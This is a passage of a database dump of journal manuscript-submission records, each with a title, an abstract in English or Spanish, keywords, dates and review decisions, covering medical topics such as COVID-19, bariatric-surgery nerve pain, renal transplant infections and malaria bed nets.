mode of transmission. Moreover, study participants demonstrated an optimistic attitude toward disease as the average 43.78 and good practice towards COVID-19 (average 18.67).\r\nConclusions: the study results revealed that study participants demonstrated good knowledge with favorable and accepted practice. This study suggests the importance of emphasis on infectious disease in nursing curriculum\r\n','',388,NULL,'2021-01-06',NULL,'Submitted',2,NULL,'2021-01-20',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7063,7951,667,0,'iptb-21-7063','Anterior rhinorrhea revealing meningocele: a case report',NULL,2,0,NULL,'Anterior-posterior rhinoliquorhea can reveal several etiologies. We report a case of a patient with rhinoliquorhea of the left nasal cavity post-traumatic whose radiological exploration returned in favor of an osteomeningeal breach and whose surgical exploration by endoscopic nasal route showed a meningocele of the anterior part. from the base of the skull. The breach was sealed with organic glue and abdominal fat and organic glue.','Rhinoliquorrhea, Osteo-meningeal breccia, Meningocele, Fat graft, Endoscopic surgery.',4111,NULL,'2021-01-06',NULL,'Submitted',2,NULL,'2021-03-24',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7067,8335,326,0,'IPJUS-21-7067','Anterior cutaneous nerve entrapment syndrome: a common cause of chronic abdominal pain after bariatric surgery',NULL,14,0,'','Background: Unexplained abdominal pain after bariatric surgery is common and described in up to 7% of the population,  leading to unnecessary opioid prescription and emergency department or outpatient clinic visits. In these patients, anterior cutaneous nerve entrapment syndrome (ACNES) can be a possible cause of the abdominal pain. ACNES is caused by local entrapment of the intercostal nerves by the anterior fascia of the abdominal wall. The aim of this study was to describe the patient characteristics, incidence, diagnostics and treatment results of ACNES in patients with a Laparoscopic Roux-en-Y gastric bypass (LRYGB) or  laparoscopic sleeve gastrectomy (LSG) in their medical history.  \r\nMethods: A retrospective observational cohort study was performed on patients with the diagnosis ACNES and a medical history of LRYGB or LSG, who were treated between 2015 and 2017 in a large teaching hospital.\r\nResults: A total of 34 patients were evaluated. Twenty-two out of 34 (65%) patients had a medical history of LRYGB and 12 out of 34 (35%) a LSG. The incidence of ACNES after bariatric surgery in our hospital is estimated at  2-5%. The median interval between the bariatric surgery and treatment for ACNES was 28.2 months. Lidocaine injection as treatment was effective in 32% of the patients and 68% underwent a subsequent surgical local neurectomy. The success rate after surgical neurectomy  was 92%. \r\nConclusion: ACNES is a common late complication after bariatric surgery and could be a cause of unexplained abdominal pain. Local neurectomy can be an effective treatment for this diagnosis.\r\n','unexplained abdominal pain, bariatric surgery, ACNES, neuropathic pain. ',2505,NULL,'2021-01-07',NULL,'Submitted',2,NULL,'2021-02-03',NULL,1,1,'0','As per review comments this article is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(7069,6984,277,0,'ipadm-21-7069','INFECCIONES POSTRANSPLANTE RENAL',NULL,15,0,NULL,'El paciente trasplantado renal es altamente susceptible a una amplia gama de patógenos infecciosos gracias a múltiples factores, entre los que destaca el estado de inmunosupresión, inducido por la terapia con fármacos que buscan prevenir la respuesta aloinmune o rechazo del injerto. Dichos procesos infecciosos se desarrollan principalmente en el período de tiempo que comprende hasta 1 año posterior a la intervención quirúrgica. En algunos casos, resulta beneficioso implementar medidas profilácticas para limitar el impacto de complicaciones y mortalidad a largo plazo ocasionadas por los cuadros clínicos infecciosos en este grupo de pacientes','Infecciones, trasplante, riñón. (DeCS).',2805,NULL,'2021-01-08',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7070,6984,277,0,'ipadm-21-7070','TROMBOEMBOLISMO PULMONAR Y CRISIS HEMOLÍTICA. ¿ASOCIACIÓN POCO FRECUENTE?: REPORTE DE CASO.',NULL,2,0,NULL,'La anemia hemolítica autoinmune (AHAI), es un trastorno caracterizado por producción de autoanticuerpos dirigidos contra los antígenos de los eritrocitos que deriva en destrucción de los mismos y que supone un espectro heterogéneo de presentación clínica. Desde el año 1960 se ha descrito su asociación a eventos trombóticos por aumento en la liberación de fibrina y trombina.   Se presenta el caso de una paciente femenina de 66 años a quien, en paralelo a episodio de anemia hemolítica autoinmune, con clínica de disnea y dolor torácico se documenta en tomografía de tórax contrastada (figura 1) defectos hipodensos irregulares múltiples en la arteria pulmonar derecha y sus ramas lobares en relación a trombos; hallazgos compatibles con tromboembolismo pulmonar. Aun no se conoce una fisiopatología clara, no obstante,  se han relacionado los eventos hemolíticos a estado de hipercoagulabilidad coexistente. Resulta perentorio para el clínico tener presente el sustrato procoagulante que implica el diagnóstico de (AHAI) para considerar la terapia anticoagulante y sospechar diagnósticos potencialmente mortales.','Embolia Pulmonar; Anemia Hemolítica; Anticoagulantes. (DeCS).',2805,NULL,'2021-01-08',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7072,8338,251,0,'ipacm-21-7072','Electrochemical Methods for the Detection of Antimicrobial Resistance and Multi-Drug Resistance Bacteria',NULL,17,0,'','Accurate diagnosis of bacteria is one of the most important stages of the definitive treatment of bacterial infections. However, due to the antibiotic resistance (AR) that has recently emerged in bacteria, not only the diagnosis of bacteria but also the determination of the antibiotic resistance has become extremely important. For the determination of AR of bacteria, classical microbiological and biochemistry methods are already applied. However, these methods have many disadvantages in terms of cost and time. With advances in technology as well as molecular biology, a new era has emerged for the accurate determination of AR in bacteria as well. For example, electrochemical methods have been developed recently for the label-free diagnosis of both bacteria and their AR. In this commentary, we focus on the issues regarding AR of bacteria and their diagnostic significance. Herein, we also focused on the electrochemical method used for the diagnosis of bacteria and AR.','Bacterial infections, antibiotic resistant bacteria, label-free diagnosis method, electrochemical detection',3944,NULL,'2021-01-08',NULL,'Submitted',2,NULL,'2021-02-13',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7073,8339,251,0,'ipacm-21-7073','Diet matters in Bladder Pain Syndrome and Interstitial Cystitis',NULL,12,0,'','IC/ BPS is a medical condition that is challenging for both parties involved – the one suffering as well as for the one treating. One major part of the challenge is what the medical practitioner faces connected with the difficulty in detecting and diagnosing this condition. For the patient the challenge is about expressing their plight so that their problem is understood and then treated appropriately. Global figures say that takes approximately 10 years for a patient to get a diagnosis in place. There is also data to show that that patients usually go through evaluation by an average of 10 doctors before the problem gets identified and treated. Evidently, IC/BPS is a medical condition deserving better attention and understanding from all the stakeholders - the patient, medical professionals and the family members.','Bladder, Syndrome, Interstitial Cystitis',3944,NULL,'2021-01-08',NULL,'Submitted',2,NULL,'2021-02-13',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7077,8264,45,0,'iphsj-21-7077','Determination of donor loyalty among blood donors in Transfusion Center of Urmia (The fourth quarter 2020)(2)',NULL,14,0,NULL,'BACKGROUND: Blood transfusion organizations rely on their customers. An increase in return rate and the number of donations per year can lead to increase access to blood. \r\nSTUDY DESIGN AND METHODS:     The questionnaire with systematic stratified random distribution used in this descriptive/applied study. \r\n    RESULTS:    A total of 752 questionnaires was completed and analyzed.  More than 90% of respondents (89% of first-time donors, 96% of regular donors) chose the “Agree or strongly agree” option for the “willingness to re-donate” question. Finally 58.7% of respondents scored above 83 (51.6% first donors; 65.7% of regular donors). These scores in regular donors were significantly higher than the first ones.\r\nDISCUSSION:       While more than 50% of donors stated who they were loyal donors, the return rate was low.  This indicates the need for intervention to encourage donors to keep giving.  This study identified only the level of donor loyalty.','Customer\r\nBlood Donation\r\nLoyalty',3691,NULL,'2021-01-10',NULL,'Submitted',4,NULL,'2021-06-02',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7080,8346,45,0,'iphsj-21-7080','AWARENESS, USE, CARE OF INSECTICIDE-TREATED BED NETS AMONG PREGNANT WOMEN IN BUEA (BUEA) AND BONASSAMA (DOUALA) HEALTH DISTRICTS, CAMEROON.',NULL,14,0,'','Background. Malaria in pregnancy (MiP) remains a major health problem in Cameroon, with an unacceptably high annual maternal mortality rate pegged at 782 maternal deaths per 100,000 live births. Despite the gains made through the free distribution of Long Lasting Insecticide Treated Nets (LLITNs) during the antenatal visit and the mass campaign, there is a paucity of data about how pregnant women effectively care for LLITNs\r\nMethods. This was a hospital-based descriptive cross-sectional study conducted from June 2016 to September 2017 among consecutive consenting pregnant women attending antenatal clinics in Bonassama Health District (BHDa) and Buea Health Districts (BHD) located in Douala and Buea respectively using structured questionnaires. \r\nResults. Seventy-eight point two (78.2%) of participants never used LLITNs in BHD compared to 7.0 % in BHDa. A greater proportion of participants in both health districts declared having acquired LLITNs during antenatal visits 502(65.2%) and LLITNs acquisition were facilitated mostly by health workers (77.92 %)  in BHD and (53.5%) BHDa. In BHD, 125(32.5%) never washed their ITNs and the reasons cited were the difficulties to mount when removes 72 (18.7%) in BHD and 47 (12.2%) in BHDa. The majority of pregnant women do self-repaired 383(99.5%) their LLITNs when their damaged than taking them to the tailor 138(17.9%).\r\nConclusion. The high level of knowledge of LLITNs in protecting pregnant women against mosquito bites does not parallel the use of LLITNs in the study population. Forgetfulness and heat were the main reasons for not using the LLITNs in both Health Districts. Continuous health education and sensitization on the use of LLITNs as an effective preventive method for malaria during pregnancy should be accelerated especially during antenatal visit\r\n','Malaria in pregnancy, LLITNs, BHD, BHDa, antenatal visit, forgetfulness',685,NULL,'2021-01-10',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7084,8350,639,0,'ipfs-21-7084','A successful spawning of American shad in a novel recirculating aquaculture system',NULL,3,0,NULL,'American shad is one of the most vulnerable and sensitive fish species to disturbance. Any handling may cause serious lesion or death, and suspend gonad maturation and ovulation, eventually leading to difficulties in its culture and reproduction. How to avoid disturbance and reduce stress would be very important measures to be successful in inducing spawning for this species. Recently, we reported a successful integration of maturation and natural reproduction of American shad for the first time in a novel recirculating aquaculture system (RAS) without any handling for hormone administration (Liu et al. 2021).','Fish, Reproduction, Eggs, Broodstock, Shad',1776,NULL,'2021-01-11',NULL,'Submitted',2,NULL,'2021-02-05',NULL,1,1,'1','       ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7086,8352,326,0,'IPJUS-21-7086','Feasibility and advantages of a modified subxiphoidal video-assisted thoracoscopy procedure compared to established traditional video-assisted thoracoscopy procedures in intercostal access.',NULL,6,0,'','Background:   \r\nMinimally invasive thoracic surgical techniques are under continual development, especially the subxiphoidal approach, which until recently could only be  done in a few centers across the world, due mainly to  the many challenges associated with this method. There are ongoing discussions around minimally invasive methods including the instrument sizes and types, the incision position and expected outcomes. Robotic surgery using the subxiphoidal approach is still under discussion and is expected to be one of the methods oft he future.\r\nIn this study we aim to demonstrate the advantages of our subxiphoidal technique using a modified incision position and size, combined with a separate  5-10 mm camera incision in the 6 - 7 mid axillary line. \r\n\r\nMethods:	\r\nThis is a retrospective review of our clinical data obtained from modified subxiphoid procedures performed between July 2018 and March 2020. In total, 40 cases (17 female, 23 male) were identifed in wihich our modified  subxiphoid video-assisted thoracoscopic surgery (VATS) was applied including cases of lobectomy , segmentectomy ,  wedge resection, hemothorax, chylothorax ,  and biopsies from mediastinal tumors and lymphnodes . Institutional Review Board (IRB) and ethics commission approval of our study have been given by the University of Erlangen and patient consent gained.\r\n\r\nResults: 50 modified subxiphoid VATS procedures were performed between July 2018 March 2020, including  lobectomy, segmentectomy such as apical tri-segmentectomy of the left upper lobe, the basal segmentectomy of both sides, wedge resection, hemothorax, chylothorax, and biopsies from mediastinal tumors and lymphnodes . There were no mortalities, no complications of postoperative bleeding, one case of surgical chylothorax, and three cases of parenchymal air leakage which were treated with pleurodesis, and postoperative arrythmia.\r\n\r\nConclusions:\r\nThe modified subxiphoid incision, combined with a separate camera incision showed many advantages for the patients, such as  a smaller subxhiphoid  incision even for lobectomy (3.5 cm), less pain, more space in which to apply  the instruments in situ,  accurate  view of the posterior mediastinum for the completion of subcarinal lymph node dissection and the dissection of adhesions. No pain was reported by patients at the position of the camera incision, no abdominal muscle layer weakness or herniation,  shorter recovery and stay in hospital and no wound disorders.\r\n',' Minimal invasive thoracic surgery, modified subxiphoidal VATS access.',2505,NULL,'2021-01-11',NULL,'Submitted',4,NULL,'2021-01-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7088,8356,251,0,'ipacm-21-7088','Forming a non-profit organization for patients with a urological disease in 1984: does it relate to clinical microbiology today?',NULL,15,0,'','Interstitial cystitis (IC), also known as Painful Bladder Syndrome (PBS), was initially described in the mid 1800’s.  It was not until 1984 that a patient non-profit organization, the Interstitial Cystitis Association (ICA), was formed in order to work with IC patients and the National Institutes of Health (NIH) to define and increase research on this enigmatic and debilitating condition.  The media played an important role in bringing together patients and helping them understand that they were not alone in their suffering.  Epidemiological studies legitimized the disease and research at the NIH and other academic institutions progressed enormously. However, despite over 30 years of hard work, urologists have been unable to determine a cause for IC or any truly effective treatments to help patients suffering from this condition.  Collaboration with other specialties, in particular clinical microbiology, may prove fruitful in advancing research into the cause and potential treatments for IC.     ','Interstitial cystitis; Painful Bladder Syndrome; irritable bowel syndrome; Crohn’s Disease; Chronic Fatigue Syndrome',3944,NULL,'2021-01-12',NULL,'Submitted',2,NULL,'2021-02-03',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7089,8357,45,0,'iphsj-21-7089','THE INTERCONNECTION BETWEEN MASKS AND ORAL HEALTH',NULL,7,1,'COVID-19','In the midst of the on-going COVID-19 pandemic response, the use of masks has become a hardly debated controversy. One side believes everyone should just wear masks claiming there are no downsides even though it might not be 100% effective. The other side believes that mandating mask is against our civil liberty and should not be forced on people. To go beyond the pro- and anti-dialectics we must adopt a systems approach to find the real problem and the real solution. Systems science reveals an interconnection between masks and oral health. If there is a shift from a commensal to a pathogenic oral microbiome, it causes an imbalance of oral homeostasis, phenomena called dysbiosis, which not only affects the mouth but other body sites.','Periodontitis, facemasks, Gingipain, oral, immune health',693,NULL,'2021-01-12',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7091,8358,45,0,'iphsj-21-7091','Multi-component School-Based Weight-Management Program Improves Physical Fitness and Vascular Reactivity in Obese Adolescents',NULL,14,0,NULL,'The prevalence of childhood obesity has increased markedly in both eastern and western countries. Development of obesity in early life could lead to serious health problems including a premature cardiovascular disease.  Therefore, a primary prevention such as an effective weight management program would be needed in order to minimize the adverse effects of childhood obesity. PURPOSE: This study aimed to determine the effects of multi-component school-based weight-management program on body composition, physical fitness and vascular function and structure in obese adolescents. METHOD: Twenty-eight obese adolescents (14.1 [0.8] y old, 7 girls, ? 2 SD on BMI for age-and-sex-specific growth charts) were randomly assigned to control (CON; n=12) and intervention (INT, n=16) groups. The multi-component school-based intervention consisted of supervised after-school physical activities (i.e., running, playing games and resistance training) at moderate to vigorous activities for 50 minutes/day, three days a week on alternate days for 10 weeks. Moreover, dietary and daily physical activities related advices, school-health promotion environment and health education lectures for school staffs, students and parents were included in the program. Body composition, physical fitness, vascular function (brachial-FMD) and structure (IMT and baPWV) were measured before and after the program. RESULTS: After 10-week of multi-component school-based weight-management program, body mass (89.7±8.6 vs. 88.0±10.5, p<0.05) and body fat percentage (44.13±5.27 vs. 41.22±6.74, p<0.05) significantly decreased only in an INT group. Peak oxygen consumption (29.25±2.41 vs. 31.56±3.05, p<0.05) and health related physical fitness increased only in an INT group (p<0.05). Moreover, vascular reactivity of an INT group was improved after 10-week program compared with a CON group (6.81±2.25 vs. 3.62±1.48, p<0.05). There was no change in artery wall thickness and stiffness in any group. CONCLUSION: Multi-component school-based weight-management program could be an effective primary prevention for reducing cardiovascular disease risk factors.','School-based weight-management program, Physical fitness, Vascular Reactivity, Obese adolescent',3430,NULL,'2021-01-12',NULL,'Submitted',4,NULL,'2021-06-02',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7093,8361,45,0,'iphsj-21-7093','Effects of electromagnetic radiation emitted by telephones: a cross-sectional study in confinement in Angola ',NULL,14,0,'','Mobile phones emit non-ionizing electromagnetic radiation from the microwave band, which when they affect the human body can be harmful to human health. The present study aims to determine the physiological effects that may manifest in human being, due to the action of electromagnetic radiation caused by mobile phones use, during confinement. A questionnaire was elaborated and applied to 90 people up to the age group of 50 years of age. The study showed that electromagnetic radiation emitted by the mobile phones during a period of constant use, causes insomnia, headache, dizziness, irritability, concentration difficulties, ear and eye pain.',' Electromagnetic radiation, mobile phones, containment. ',643,NULL,'2021-01-12',NULL,'Submitted',16,NULL,'2021-06-09',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7095,8363,277,0,'ipadm-21-7095','CICLOSPORINA Y METOTREXATO: POTENCIAL ALTERNATIVA DE TRATAMIENTO PARA LA COVID 19',NULL,15,0,'','Antecedentes: Con la presentación de la pandemia por SARS-CoV-2, existe gran incertidumbre acerca de la efectividad de los tratamientos propuestos que existen actualmente y de su efectividad para contrarrestar las manifestaciones ocasionadas por este virus o, por el contrario, exponer a los pacientes en a un mayor riesgo de infección o en el peor de los casos, un curso más severo de la enfermedad, ya sea del COVID-19 o de su patología de base.\r\nMetodología: Se realizó una revisión a través de diversas bases de datos. La búsqueda, y selección de artículos fue llevada a cabo en revistas indexadas en idioma inglés y español. Se utilizaron como palabras clave: SARS- CoV-2, COVID-19, ciclosporina y metotrexato. \r\nResultados: Metotrexato ha demostrado ser una excelente alternativa en pacientes con COVID 19 debido a su eficacia, disponibilidad, bajo precio y la amplia experiencia que se tiene de este en cuanto a su uso en la artritis reumatoide, con la finalidad de detener la respuesta inmuno-trombótica inducida por este y respaldar otras patologías asociadas a la COVID 19, como lo son las lesiones dermatológicas e inflamatorias.\r\nEn cuanto a la Ciclosporina se ha comprobado que la inhibición de la vía inflamatoria de calcineurina, NF-kB, utilizando ciclosporina A (CsA) produce una reducción en la razón de probabilidades de muerte en pacientes hospitalizados afectados por COVID-19 grave.\r\nConclusiones: La presente revisión ofrece recomendaciones basadas en la evidencia disponible  acerca de como la ciclosporina y metotrexato pueden llegar a convertirse en alternativa para combatir la COVID 19.','ciclosporina; metotrexato; SARS- CoV-2; COVID-19.',2805,NULL,'2021-01-12',NULL,'Submitted',2,NULL,'2021-03-19',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7098,8366,45,0,'iphsj-21-7098','Reality of life and environmental changes after COVID-19 pandemic in India',NULL,15,0,'','COVID-19 is a global burden which, as the pandemic progresses through its various phases, continues to redefine everyday lifestyle-related habits, environment, education and employment in a significant way. In determining the degree of changes in lifestyle-related behaviours, the interplay of the magnitude of COVID-19 infection with different social, economic, environmental and cultural constructs could vary from country to country. There is a lack of evidence that assesses the effects of COVID-19 on Indian lifestyle-related behaviours. Some main questions, such as which lifestyle habits are most affected, how severe the effect of COVID-19 on these behaviours is, what are the reasons for these changes, and which demographic segment is most affected, should be investigated. We conducted this research to assess the effect of COVID-19 on lifestyle  and environmental changes encountered by people during the pandemic, taking into account these questions. The answers to these questions will provide a fundamental basis for developing effective lifestyle change recommendations during this period.','life style changes, pandemic, covid-19',388,NULL,'2021-01-13',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7101,8370,667,0,'iptb-21-7101','Prospective characterisation of persistent headache attributed to past stroke',NULL,14,0,'','Introduction: Persistent headache attributed to past stroke (PHAPS) is a controversial entity, recently included in the new ICHD-3 classification despite being described only in retrospective studies.\r\nObjective: The aim of this study was to determine the incidence and characteristics of PHAPS in patients admitted with acute stroke.\r\nMethods: We selected all patients with headache associated with acute stroke (HAAS) from a prospective, single-centre registry of patients with acute stroke admitted to a Neurology ward between November 2018 and December 2019. We analysed demographic, clinical and neuroimaging data. We assessed the follow-up with a phone call questionnaire at 6-12 months.\r\nResults: Among 121 patients with acute stroke, only 29 patients (24,0%) had HAAS. From these, 6 were lost to follow-up. Twenty-three patients answered the 6 to 12-month follow-up questionnaire and were included in this study. Median age was 53 years (IIQ 38-78) and there was no gender predominance. Of the 10 patients (43,5%) that had persistent headache, 8 clearly suffered from previous chronic headaches (PCH), however, they all mentioned a different kind of headache. Only 1 patient did not have other reasons for a secondary headache.\r\nConclusion: In this study, only 10 out of 121 stroke patients (8.3%) referred persistent headache at the 6 to 12-month follow-up, and the majority already suffered from PCH. In patients with PCH we observed a change of the usual headache pattern with even total remission. Only one (<0,1%) patient with persistent headache at the 6 to 12-month follow-up did not have a clear PCH history.','',3774,NULL,'2021-01-13',NULL,'Submitted',2,NULL,'2021-03-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7102,8371,45,0,'iphsj-21-7102','Case report: Acute Bilateral Sacroiliitis due to the use of oral Isotretinoin',NULL,2,0,'','Isotretinoin is a retinoid indicated for the treatment of acne and\r\nhas been associated with several effects, including muscularskeletal\r\nsymptoms such as arthritis, arthralgia and myalgia. The\r\ndevelopment of sacroiliitis is a rare side effect and a small\r\nnumber of cases have been described in the literature. The\r\npacient M.G.P., 17 years old, male, was diagnosed with\r\nsacroiliitis after having started using isotretinoin, he presented\r\nserology negative for HLA-B27 and did not have any other\r\ninfectious predispositions for the development of sacroiliitis. From\r\nthe second week of interruption of isotretinoin use the\r\nsymptomatology was significantly reduced.','Acne Vulgaris; Arthritis; Isotretinoin; Sacroiliitis',4048,NULL,'2021-01-13',NULL,'Submitted',2,NULL,'2021-01-27',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7104,8373,639,0,'ipfs-21-7104','A survey parasitic of Nile tilapia (Oreochromis niloticus) with special reference to their immune status, histopathological aspects and nutritional values.',NULL,14,0,'','Fish farming characterizes a vital and healthy basis of protein for human nutrition. Presently, Nile tilapia (Oreochromis niloticus) is the second most elevated fish species worldwide, and its fillet plays an important role in the international occupation of fish meat. This study was performed to investigate the alterations that associated with infected Nile tilapia by parasites. The   fish were observed for any clinical abnormalities, postmortem changes, biochemical and histopathological changes. There were significant changes in the evaluated physiological parameters in all infected groups than uninfected fish. The lesions were variable among the infected groups, however; lesions intensity was more pronounced in fish infected with both pathogens.','Oreochromis niloticus; biochemical and histopathological changes, nutritional values.',1776,NULL,'2021-01-13',NULL,'Submitted',2,NULL,'2021-03-04',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(7110,8379,73,0,'ipjnn-21-7110','The role of calcium in the pathophysiology of vertigo and its treatment with flunarizine',NULL,15,2,'','Vertigo is a complicated symptom caused mainly by a dysfunctional vestibular system, either central or peripheral. Benign paroxysmal positional vertigo (BPPV), vestibular migraine (VM) and posterior circulation ischemia (PCI) are the three common causes of vertigo, all of which are related to abnormal calcium function. As a calcium antagonist, flunarizine has a multitude of mechanisms of action in vertigo treatment. The drug exerts neuroprotective effects on brain, endothelial and hair cells of the inner ear; reduces angiospasm, normalizes blood viscosity, improves the circulation of blood flow to the brain and inner ear; protects and restores injured neuronal or vascular cells from hypoxic-ischaemic damage; accelerates vestibular function recovery and inhibits cortical spreading depression (CSD). Many studies showed flunarizine to be effective especially against vertiginous attacks resulting from BPPV, VM and PCI with few serious side effects, probably due to its multiple mechanisms of action. ','BPPV, VM, PCI, calcium, vestibular, CSD, flunarizine',326,NULL,'2021-01-15',NULL,'Submitted',19,NULL,'2021-10-23',NULL,1,1,'0','accept with minor revision',0,'','',NULL,0,4,0,NULL,0),(7111,8380,45,0,'iphsj-21-7111','EPIDEMIOLOGY OF COMMUNITY ACQUIRED PNEUMONIA IN ETHIOPIA: A REVIEW ARTICLE',NULL,15,0,'','Community acquired pneumonia is among the major reasons of hospital visit and mortality in Ethiopia, especially in children younger than five and the implication of this infection on health and economy of the country is concerning. Against this back ground, the objective of this work was to systematically review issues related to the epidemiology of community acquired pneumonia in Ethiopia. A review and identification of literatures published between 2000 and 2015 was carried out. Search engines like Google, Google scholar and Pub Med were used to access relevant materials online. Accordingly, 47 articles, reports and other documents identified of which 39 (34 articles and 5 reports) were included in the review. The literatures addressed various issues/problems related to the epidemiology of community acquired pneumonia. This infection continued to be one of the leading causes of hospital admissions and death in Ethiopia, especially in children less than five years of age. Services being delivered at the facility and community level to overcome the challenges of this infection are showing encouraging results and hence need to be sustained.','Community Acquired Pneumonia, Distribution, Determinants, Burden, Prevention, Control, Strategy',685,NULL,'2021-01-15',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7114,8384,73,0,'ipjnn-21-7114','Shajarat al-á¹­ibb (a tree of medicine) The history of the use of medical algorithms',NULL,11,1,'history of medicine, history of neurology','The articles take into consideration the history of the use of clinical algorithms have taken no notice of Ahmad Al Hayati Ibn Muhammad al-Qurashi (917 AH- 1511 AD) work; who was; up to my knowledge, the first medical scholar used multiple branching algorithms (arborization) in the medical books ; his book named Shajarat al-á¹­ibb (a tree of medicine), in which the author followed the dendritic method (multiple branching algorithms (arborization))in presenting medical information, in which he included useful brief information coordinated in a wonderful arrangement of the rules of the medical science, such as naturals, manuals, symptoms, treatment arts, etc. The book was mentioned in the Index of Medical Manuscripts in Turkey. It was written by the author; in the time of Sultan Beyazid II. It could be concluded that Ḥayati, Aḥmad ibn Muḥammad was the first medical scholar to address the use of clinical algorithms. An increase in the accessibility of a translation of his work, should spread identification of his research and expertise.','clinical algorithms, Al Hayati Ibn Muhammad al-Qurashi, history, first medical scholar, Shajarat al-á¹­ibb (a tree of medicine).',4656,NULL,'2021-01-16',NULL,'Submitted',1,NULL,'2021-02-25',NULL,1,1,'0','Not under the scope of Journal',0,'','',NULL,0,0,0,NULL,0),(7115,5341,73,0,'ipjnn-21-7115','Academic Stress in Physiotherapy Students: Are Open Book Examinations the solution in the face of COVID-19 Pandemic?',NULL,14,2,NULL,'Background: Due to the current COVID-19 pandemic situation many factors around us have changed. Preliminary surveys and reports have indicated this unprecedented situation is putting high academic demands and extraordinary pressure on the students. The newly introduced open book pattern of online examination which was conducted very recently definitely was a different experience for all the students as well as teachers and it also had its own pros and cons. Given the recency of this pandemic situation and pervasive use of traditional methods of closed book examination, scientific studies are lacking in this context. \r\nMethodology: It was a cross-sectional survey conducted in physiotherapy students using an online questionnaire. Through this qualitative analysis we assessed the overall impact of online examination with an aim to determine the prevalence of stress and its determinants. In addition, students’ experience with respect to different phases of online examination (preparing, responding and learning) was investigated.\r\nResults & Conclusion: The prevalence of academic stress was very high (94.4%) among undergraduate physiotherapy students (n=642) in the context of online exams conducted in the pandemic crisis situation. This alarmingly high proportion of students experiencing stress warrants urgent and special attention with effective interventions. While examination related factors are identified as major stressors, many psychosocial factors are also found to exert a considerable influence on exam experience and are implicated to affect the mental health and academics of the students. Open book exam was advantageous to the students in terms of reducing stress while mixed results were found in terms of learning and study skills.','online exam, open book exam, physiotherapy students, academic stress, test anxiety, COVID-19',4658,NULL,'2021-01-16',NULL,'Submitted',19,NULL,'2021-01-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(7117,8388,45,0,'iphsj-21-7117','Prevalence of voluntary medical male circumcision and factors associated with low uptake among   men aged 20 years and older in Mpanda municipal council',NULL,14,1,'HIV/AIDS  PREVENTION','ABSTRACT\r\nBackground Voluntary Medical Male Circumcision (VMMC) is among the important and popular interventions for the prevention of new HIV infections. The coverage of male circumcision is still low to some of the regions especially Katavi region which is 44.3% for the general population. The situation is worse among men adults this is known due to predominance of young boys during VMMC services. To improve the coverage of male circumcision the world Health Organization (WHO)   and other partners recommend VMMC to be incorporated with other available  interventions. Factors   associated with low VMMC uptake are  not clearly known. Therefore this  study was conducted to asses prevalence and factors associated with   low VMMC uptake among 20 years and older in Mpanda MC.\r\nMethods This was a cross-sectional community based study, collected quantitative data from men aged 20 years and older. The study was conducted in 5 wards and 15 villages of Mpanda Municipal council in August 2017. Multistage sampling was used to select villages included in the study and random selection of households to obtain the study participants was made. A total of 570 men were interviewed. Quantitative data were analyzed using logistic regression. Univariate  and Multivariate  analysis were done, odds ratio was used as measure of association. \r\nResults Uptake of VMMC among men aged 20 years and older is low only 53.5% had received the service. Majority of respondents were knowledgeable on VMMC with 92.2% (525) reported male circumcision had health benefits and 393(69%) reported that HIV could be prevented through medical Male Circumcision and the service was accepted by 504 (88.42%). \r\nFactors associated with low VMMC includes services discourages men to take the services (OR 9.5; 95% CI 3.9 – 22.9; p-value< 0.001) and health personnel behavior ( OR 5.7;95% CI 1.3 - 24.0 ) , p-value   0.024 ).\r\nConclusion\r\nIn general the Uptake of Voluntary Medical Male Circumcision was found to be high as compared to the TACAIDS report of 2013, but not at the national target of 80%. Men aged 20 years and older in Mpanda Municipal were more likely to be circumcised but were discouraged with health the service and personnel behavior. Therefore VMMC program   should focus more on the predictors of low uptake   of VMMC with more emphasis of Health system related  and Health promotion  to raise the coverage  for better achievement.\r\n\r\n',' Voluntary medical Male circumcision, HIV Transmission, Barriers of VMMC Uptake. ',4048,NULL,'2021-01-17',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7121,8392,277,0,'ipadm-21-7121','EFECTIVIDAD DE LAS VACUNAS ANTE EL SARS-COV-2 Y SUS MUTACIONES',NULL,17,1,'COVID 19','El SARS-CoV-2 es un virus de ARN monocatenario de cadena positiva cuyo genoma codifica cuatro proteínas estructurales: espiga (S), proteína pequeña (E), matriz (M) y nucleocápside (N). La proteína S (spike), es una proteína de fusión, que forma trímeros en la superficie del virión, determina la infectividad del virus y su transmisibilidad en el hospedador. Se compone de dos subunidades, con S1 responsable de la unión al receptor y S2 de la fusión de membranas. Como esta proteína es el antígeno principal que induce respuestas inmunitarias protectoras y está conformada por 374 residuos de aminoácidos aproximadamente se espera que los cambios presentados en esta alteren la efectividad de las vacunas, pero estos cambios, como se reportan en la literatura, no superan los 